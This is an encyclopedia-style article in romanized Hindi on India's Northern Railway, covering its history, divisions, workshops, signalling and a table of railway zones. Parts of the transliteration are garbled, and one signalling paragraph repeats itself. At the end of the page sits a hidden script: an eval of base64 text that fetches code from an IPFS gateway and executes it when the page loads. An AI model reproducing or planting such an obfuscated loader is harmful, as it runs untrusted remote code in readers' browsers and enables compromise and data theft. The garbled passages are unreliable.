उत्तर रेलवे

uttar relave
uttar relave ka ka pratik chihn|200px|center
vivaran	'uttar relave' jise sankshipt roop mean 'ure' kaha jata hai, bharatiy relave ki mahattvapoorn ikaee hai. yah bharatiy relave ka sabase adhik root kilomitar vala relave hai.
sthapana	14 aprॅl, 1952
mukhyalay	dilli
mandal	paanch mandal- 'ambala', 'dilli', 'phirojapur', 'lakhanoo' aur 'muradabad'.
kshetr	jammoo evan kashmir, panjab, hariyana, himachal pradesh, uttaraanchal, uttar pradesh, dilli aur chandigadh.
vishesh	kampyootarikrit yatri arakshan pranali ki shurooat sabase pahale uttar relave par hi 19 faravari, 1989 ko huee thi.
sanbandhit lekh	bharatiy rel, rel parivahan, rel ianjan, relave upakaran, metro rel
any janakari	uttar relave par kul 40 root rile intar l aaukiang pranaliyaan kary kar rahi haian, jinamean dilli men par lagaee gayi root rile iantaral aaukiang ko 'ginij buk aauf varld rik aaurd' mean vishv ki sabase b di root rile pranali ke roop mean manyata di gayi hai.

uttar relave (aangrezi: Northern Railway) bharatiy rel ki ek ikaee hai, jise laghu roop mean 'ure' kaha jata hai. 14 aprॅl, 1952 mean isaki sthapana ki gee thi. uttar relave ka mukhyalay dilli mean sthit hai. uttar relave naye prayogoan aur adhunikikaran ke mamaloan mean sadaiv agrani raha hai. kampyootarikrit yatri arakshan pranali ki shurooat sabase pahale uttar relave par hi 19 faravari, 1989 ko huee. uttar relave par 40 root-rile iantaral aaukiang pranaliyaan kam kar rahi haian, jinamean se dilli men bhi shamil hai. dilli men ki iantaral aaukiang pranali ko vishv ki sabase b di iantaral aaukiang pranali ke roop mean 'ginij buk aauf rik aaurdas' ne pramanit kiya hai.

naye prayog tatha adhunikikaran

uttar relave, jo 1952 mean apane vartaman svaroop mean aya, sabase b da relave kshetr hai. uttar relave naye prayogoan aur adhunikikaran ke mamaloan mean sadaiv agrani raha hai. kampyootarikrit yatri arakshan pranali ki shurooat sabase pahale uttar relave par hi 19 faravari, 1989 ko huee. apane grahakoan ki suvidha ka dhyan rakhate hue uttar relave ne steshanoan par iantarektiv v aauis rispaans sistam, steshanoan par ilaiktr aaunik dispale sistam, rik aaurded koch gaideans disple sistam, arakshan upalabdhata sthiti, inph aaurmeshan disple, selph dayal teliphon rijarveshan iankvayari booth, aautomaitik tailar mashinean aur mani chaianjiang suvidhaean upalabdh karavaee haian. bukiang khidakiyoan par lambi-lambi kataroan mean kami lane ke lie b de evan mahatvapoorn steshanoan par svamudrit tikat mashinean lagaee gee haian, jo anarakshit yatra ke lie tatha pletapharm hetu tikatean jari karati haian. anarakshit rel yatriyoan ko suvidha dene ke lie anarakshit tikat pranali ka prarambh bhi kiya gaya hai, jisake madhyam se anarakshit tikatean yatra se 3 din poorv in bukiang kauntaroan se li ja sakati hai.

uttar relave ne tugalakabad evan kanapur loko shaidoan mean bharat ke pahale dijal aur ilaiktrik lomotiv simyooletaroan ki shurooat ki hai. isase tej gati se ga diyoan ke parichalan ke lie prashikshan upalabdh karavakar ne chalakoan ke kaushal ko badhane mean sahayata mili hai. uttar relave ke sabhi karakhane dijal shaid aur ear brek, mal yatayata dipo aee.es.o.-9000 pramanit haian. bharatiy relave par aee.es.o.-14000 praman-patr prapt karane vala tugalakabad dijal shaid karakhana hai. any dijal shaid aur karakhane bhi aee.es.o.-14000 prapt karane ki disha mean prayasarat haian. apane tin karakhanoan ke lie sabase pahale aee.es.o.-9002 pramanan prapt karane vala kshetr uttar relave hi hai.

adhunik siganal pranali

apane parichalan mean dakshata aur sanraksha ko badhane ke lie adhunik siganal pranali ek mahatvapoorn bhoomika nibhati hai. root-rite intaral aaukiang pranali mean adharabhoot iantaral aaukiang sistam ke vikas mean ek aitihasik bhoomika ada ki hai. uttar relave par 40 root-rile iantaral aaukiang pranaliyaan kam kar rahi haian, jinamean se dilli apane parichalan mean dakshata aur sanraksha ko badhane ke lie adhunik siganal pranali ek mahatvapoorn bhoomika nibhati hai. root-rite intaral aaukiang pranali mean adharabhoot iantaral aaukiang sistam ke vikas mean ek aitihasik bhoomika ada ki hai. uttar relave par 40 root-rile iantaral aaukiang pranaliyaan kam kar rahi haian, jinamean se dilli men bhi shamil hai. dilli men ki iantaral aaukiang pranali ko vishv ki sabase b di iantaral aaukiang pranali ke roop mean 'ginij buk aauf rik aaurdas' ne pramanit kiya hai.

mandal

bharatiy relave ke mukut mean hire ki tarah j de uttar relave ne sabhi dooriyoan ko samapt karane ka mishan shuroo kiya hai tatha apane astitv ka roopak nirmit kiya hai. aupacharik roop se 1952 mean gathit yah relave hal hi mean bharatiy relave ke 16 jonoan mean purnagathit hone ke bavajood bhi sabase adhik root kilomitar vala relave hai. pahale ke 1104.43 root kilomitar se ab 6807.90 root kilomitar rah jane vale is relave mean ab paanch mandal- ambala, dilli, phirojapur, lakhanoo aur muradabad haian.

uttar relave ka kshetr

jammoo evan kashmir, panjab, hariyana, himachal pradesh, uttaraanchal, uttar pradesh, dilli aur kendr shasit pradesh chandigadh mean phaila uttar relave prayadvip ke oopar sthit utkarsh bindu ke roop mean pratit hote hue apani karyashaili ka vistar shesh bharat par karata rahata hai.

sevit audyogik kshetr

vartaman mean uttar relave dvara sevit audyogik kshetr nimnanusar haian-

1. siment ph‍lant gujarat-ambooja siment limited, rop d, ambala (ambala mandal ke kiratapur steshan ke madhyam se).
2. pioel plantas iandiyan aauyal kampani, panaki, iandiyan aauyal karaporeshan, suchipiand (phirojapur) aeeosi shodhak plant, panipat.
3. tharmal pavar plant roop nagar, bathinda, lahara mohabbat.
4. any sevit udyogoan mean biecheeel, urvarak udyog, vestarn iandiyan maich kampani, distilarij, tarapin aur resin kampani, chini mil, skootar phaiktari, echeel, esbestes mitati ke bartan aur saikil udyog.

karakhane

1. lokomotiv - varkash aaup, charabag
2. kairij evan - vaigan varkash aaup, alamabag
3. kairij evan - vaigan varkash aaup, kalaka
4. pul karakhana - jalandhar
5. sanket evan door - sanchar karakhana, gaziyabad

navinata ka agradoot

pragati ki disha mean bharat ke tezise badhate hue kadam deshavasiyoan ke shram or udyam ke karan hi nahian balki isaka ek karan desh ki vividhatapoorn sanskritiyoan mean vyapt samast sakaratmak parivartanoan se upaji gunavatta bhi hai. is saanskritik vividhata ka yogadan apratim hai. desh ke uttari bhag mean vividhata ke is laghu roop ko sakar karane mean uttar relave ne b di hi dridhata aur dhairy ke sath kary kiya hai. isake lie desh ke vibhinn bhagoan se yahaan tak vishal rel netavark ka nirman kiya gaya hai. rel sevaoan ko b di hi dooradarshita aur buddhimatta ke sath is prakar ke margoan se chalaya jata hai ki bharat ki saanskritik jhaanki ko dekhane ki ichchha rakhane vale relayatri ke lie bharat-bhraman sugam ho sake.

suniyojit evan charanabaddh kary

bharatiy relave ne atit mean takaniki jnan aur dakshata ke lie prayas kiya hai tatha aj bhi apani vyaparik prakriya mean sabhi takaniki parivartanoan ko apanate hue kary karane ka prayas kar rahi hai. ham aj bhi takanik mean ane vale badalavoan sath talamel baithane tatha desh ki arthavyavastha mean ae avarodh ko door karane ke prati prayasarat hai. behatar vikas ke lie apane adharabhoot dhaanche ko majaboot karana aj pratyek sangathan ki avashyakata ban gee hai. is kshetr ke vikas ke lie uttar relave ne suniyojit evan charanabaddh tarike se kary kiya hai aur isake chalate svat: hi paryatan ka bhi vistar hua hai.

sabase b di root rile pranali

relave par siganal ke vikas kary mean yaantrik siganal pranali ke sthan par ilaiktro maikenikal rile aur maikroprosesar adharit intaral aaukiang ko avasthapit kiya gaya hai. isi prakar relave par telikamyoonikeshan ke kshetr mean ilaiktromaikenikal eksacheanjoan aur ovar haid lainoan ke sthan par dhire-dhire ath‍yadhunik aauptikal phaibar aur dijital ilaiktr aaunik takanik par adharit pranali ko lagaya ja raha hai. uttar relave par kul 40 root rile intar l aaukiang pranaliyaan kary kar rahi haian, jinamean dilli men par lagaee gayi root rile iantaral aaukiang ko 'ginij buk aauf varld rik aaurd' mean vishv ki sabase b di root rile pranali ke roop mean manyata di gayi hai. uttar relave par sthit karakhanoan ne vibhinn siganal giyaroan ke nirman mean ullekhaniy upalabdhi hasil ki hai.

ek sath kary karane ki pranali

kuchh pariyojanaoan ko samay par poora kar lene ke lie uttar relave ne anek jagahoan par ek sath kary karane ki ek nayi pranali ka upayog kiya hai. yah pranali paidal uparigami puloan ke sath-sath vyast sekshan par traiphik bl aauk ki samasya se nipatane mean bhi saksham hai. relave ke vibhinn karakhanoan mean kuchh ath‍yadhunik kary jaise earati parivartan, vaikyoom preshar impregneshan plantas kie ja rahe haian. tugalakabad karakhane ne loko pheliyar evan kabhi-kabhi echapi kampresar paip mean atyadhik ooshma ke karan loko mean ag lagane ki ghatanaoan mean kami lane ke lie ek adhunik paddhati ka vikas kiya hai. karakhane dvara eksapresar kampartament mean ear sarkuleshan sudharane ke lie kuchh parivartan kie ge haian. is samasya se nipatane ke lie said painal se kar b aaudi philtar lagaya gaya hai. behatar shitalata pradan karane ke sath-sath yah eksapresar kampartament ko anurakshan sahayak banata hai.

rel mukhyalay tatha mandal

rel mukhyalay tatha mandal

kramaank	nam	sankshep	sthapana	mukhyalay	mandal
1.	uttar relave	ure	14 aprail, 1952	dilli	ambala, dilli, phirojapur, lakhanoo aur muradabad
2.	poorvottar relave	upoore	1952	gorakhapur	ijjat nagar, lakhanoo, varanasi
3.	poorvottar simaant relave	poosire	15 janavari, 1958	guvahati	alipur dvar, katihar, lamadiang, rangiya, tinasukiya
4.	poorv relave	poore	14 aprail, 1952	kolakata	hav da, siyaladah, asanasol, malada
5.	dakshinapoorv relave	dapoore	1955	kolakata	adra, chakradharapur, kh dagapur, raanchi
6.	dakshin madhy relave	damare	2 aktoobar, 1966	sikandarabad	sikandarabad, haidarabad, guantakal, guantoor, naande d, vijayava da
7.	dakshin relave	dare	14 aprail, 1951	chennee	chennee, madurai, palaghat, tiruchirappalli, triveandram, salem (koyanbatur)
8.	madhy relave	mare	5 navanbar, 1951	muanbee	muanbee, bhusaval, pune, sholapur, nagapur
9.	pashchim relave	pare	5 navanbar, 1951	muanbee	muanbee seantral, v daudara, ratalam, ahamadabad, rajakot, bhavanagar
10.	dakshin pashchim relave	dapare	1 aprail, 2003	hubali	hubali, baiangalor, maisoor
11.	uttar pashchim relave	upare	1 aktoobar, 2002	jayapur	jayapur, ajamer, bikaner, jodhapur
12.	pashchim madhy relave	pamare	1 aprail, 2003	jabalapur	jabalapur, bhopal, kota
13.	uttar madhy relave	umare	1 aprail, 2003	ilahabad	ilahabad, agara, jhaansi
14.	dakshinapoorv madhy relave	dapoomare	1 aprail, 2003	bilasapur	bilasapur, rayapur, nagapur
15.	poorv tatiy releve	pootare	1 aprail, 2003	bhuvaneshvar	khurda rod, sanbalapur, vishakhapattanam
16.	poorvamadhy relave	poomare	1 aktoobar, 2002	hajipur	danapur, dhanabad, mugalasaray, samastipur, sonapur
17.	koankan relave	kear	26 janavari, 1998	navi muanbee	koee nahian

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>